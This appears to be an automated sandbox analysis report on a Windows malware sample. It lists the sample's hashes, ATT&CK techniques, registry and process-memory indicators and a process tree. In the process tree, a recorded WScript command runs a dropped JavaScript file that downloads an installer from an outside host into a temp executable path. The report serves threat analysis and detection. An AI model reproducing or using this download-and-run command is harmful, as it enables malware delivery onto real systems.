0acf2fdc69846dec0c3d78b1eec71f77db7b00fdce5ccdc994d976369f566539

General

Target

2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe
Size

184KB
MD5

edfd7f6fcfb922684a83d66f69055bf9
SHA1

933316b73214c66a23961aba988debeeb948b3c6
SHA256

0acf2fdc69846dec0c3d78b1eec71f77db7b00fdce5ccdc994d976369f566539
SHA512

5916750db6217e9f85150bb97ec1d96079b0ac188ca6da9eb5259b349ce5b2f23cde5b8f7bf4158e7719fb182374c729c7336b85977997438a539b2f8e02bfed
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3y:/7BSH8zUB+nGESaaRvoB7FJNndnb

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
9	436	WScript.exe
27	4892	WScript.exe
30	3012	WScript.exe
46	4828	WScript.exe
48	4788	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3404	3212	WerFault.exe	81

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3212 wrote to memory of 436	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	82
PID 3212 wrote to memory of 436	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	82
PID 3212 wrote to memory of 436	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	82
PID 3212 wrote to memory of 4892	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	90
PID 3212 wrote to memory of 4892	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	90
PID 3212 wrote to memory of 4892	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	90
PID 3212 wrote to memory of 3012	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	91
PID 3212 wrote to memory of 3012	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	91
PID 3212 wrote to memory of 3012	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	91
PID 3212 wrote to memory of 4828	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	94
PID 3212 wrote to memory of 4828	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	94
PID 3212 wrote to memory of 4828	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	94
PID 3212 wrote to memory of 4788	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	95
PID 3212 wrote to memory of 4788	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	95
PID 3212 wrote to memory of 4788	3212	2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe	95

C:\Users\Admin\AppData\Local\Temp\2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-21_edfd7f6fcfb922684a83d66f69055bf9_mafia.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3212
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA16.js" http://www.djapp.info/?domain=PAcqVicqBI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufCA16.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:436
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA16.js" http://www.djapp.info/?domain=PAcqVicqBI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufCA16.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4892
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA16.js" http://www.djapp.info/?domain=PAcqVicqBI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufCA16.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3012
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA16.js" http://www.djapp.info/?domain=PAcqVicqBI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufCA16.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4828
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA16.js" http://www.djapp.info/?domain=PAcqVicqBI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufCA16.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4788
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 628
  2⤵
  - Program crash
  PID:3404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3212 -ip 3212
1⤵
PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufCA16.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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